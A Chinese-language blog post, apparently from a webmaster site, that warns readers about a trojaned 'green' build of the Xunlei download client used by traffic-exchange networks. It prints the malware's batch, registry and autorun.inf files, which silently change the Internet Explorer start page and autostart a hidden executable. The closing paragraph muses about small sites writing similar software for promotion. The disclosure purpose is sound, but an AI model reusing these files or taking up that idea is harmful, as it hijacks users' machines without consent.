看文章前需要的前置知識：流量聯盟 插件 木馬 靜默啟動
一日也就是一天，寡人困倦，于電腦前久坐，遂感眼部疲乏，于是乎思考假寐，心想：吾開電腦啟用迅雷，下載大片，然睡醒來之，遂可看之，豈不爽哉!豈料醒來發(fā)現：鄙人電腦IE默認被打開，赫然映入眼簾，某XXXXX級網站首頁!SO開始檢查電腦!偶發(fā)掘出流量聯盟營銷伎倆之一，有感受害者居多，遂決定公布以普度眾生!
1.流量交換到底可取不可取
本人曾經加入過一些流量聯盟做過些測試，結果是網站IP確實有大幅度的提高，但是很容易上癮，一旦離開流量聯盟便一日千里!自我感覺如果單純刷排名可以一試!但是在排名越來越失去其應有價值的中國互聯網，網站的盈利更多應該考慮對用戶的價值!
一個排名很高的網站可能是一個根本不盈利的網站，一個排名百萬之外的網站可能年收入已逾百萬!
2.流量交換的原理
本人的粗淺理解：利用軟件插件采用病毒式的方式強制修改用戶IE屬性，或以黑客手段非法入侵高流量網站采用掛馬的方式獲取沒有實際意義的IP訪問!
3.我是怎么踩進流量聯盟陷阱的
在睡覺前我之開著迅雷，電腦機器全部補丁打齊了為什么還是中了?原因只有一個：迅雷有問題（這里的迅雷并非官方迅雷），于是開啟殺毒軟件進行殺毒，提示被ROOKIT，很高級的技術啊!居然也被應用到了網絡營銷中!查看了下迅雷版本：某綠色版去廣告迅雷版（GHOST自帶下載）突然感覺很危險，想起了GHOST的某版本new用戶漏洞!打開我的電腦發(fā)現系統(tǒng)盤符下隱藏某EXE文件，為證明我沒有在這里忽悠，發(fā)4個文件：
1.vip.bat
=============可恥的分割線============
regedit /s vip.reg
START
cls
2.VIP reg
=============可恥的分割線============
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"=";
3.web.bat
=============可恥的分割線============
START
cls
4.autorun.inf
=============可恥的分割線============
[AutoRun]
open=systemss.exe
shellexecute=systemss.exe
shell\Auto\command=systemss.exe
索性修改的網站地址不是非法網站，相反很正規(guī)!
分析到這里基本上我就明白了原理：利用所謂的綠色去廣告后門版軟件惡意加載高手編譯的插件，利用插件釋放相關修改文件，用靜默的方式啟動運行文件修改IE首頁，達到推廣目的!
很高端的病毒營銷方法!還DLL注射進程進操作系統(tǒng)自帶的計算器，不得不佩服這些個高手!
現在明白了為什么每天有人在黑客群里叫嚷著賣流量了!
分析這個的同時突然冒出個想法：自己編寫一個小軟件以占領用戶終端的方式開始網絡營銷推廣，PPLIVE QQ PPS 為什么小網站不能也考慮下這個方式?不過也對小站長一般也很少有這樣的軟件編寫實力，實施的難度有些大!
站長網新聞榜: m.airjordan-one.cn/top
申請創(chuàng)業(yè)報道，分享創(chuàng)業(yè)好點子。點擊此處，共同探討創(chuàng)業(yè)新機遇！
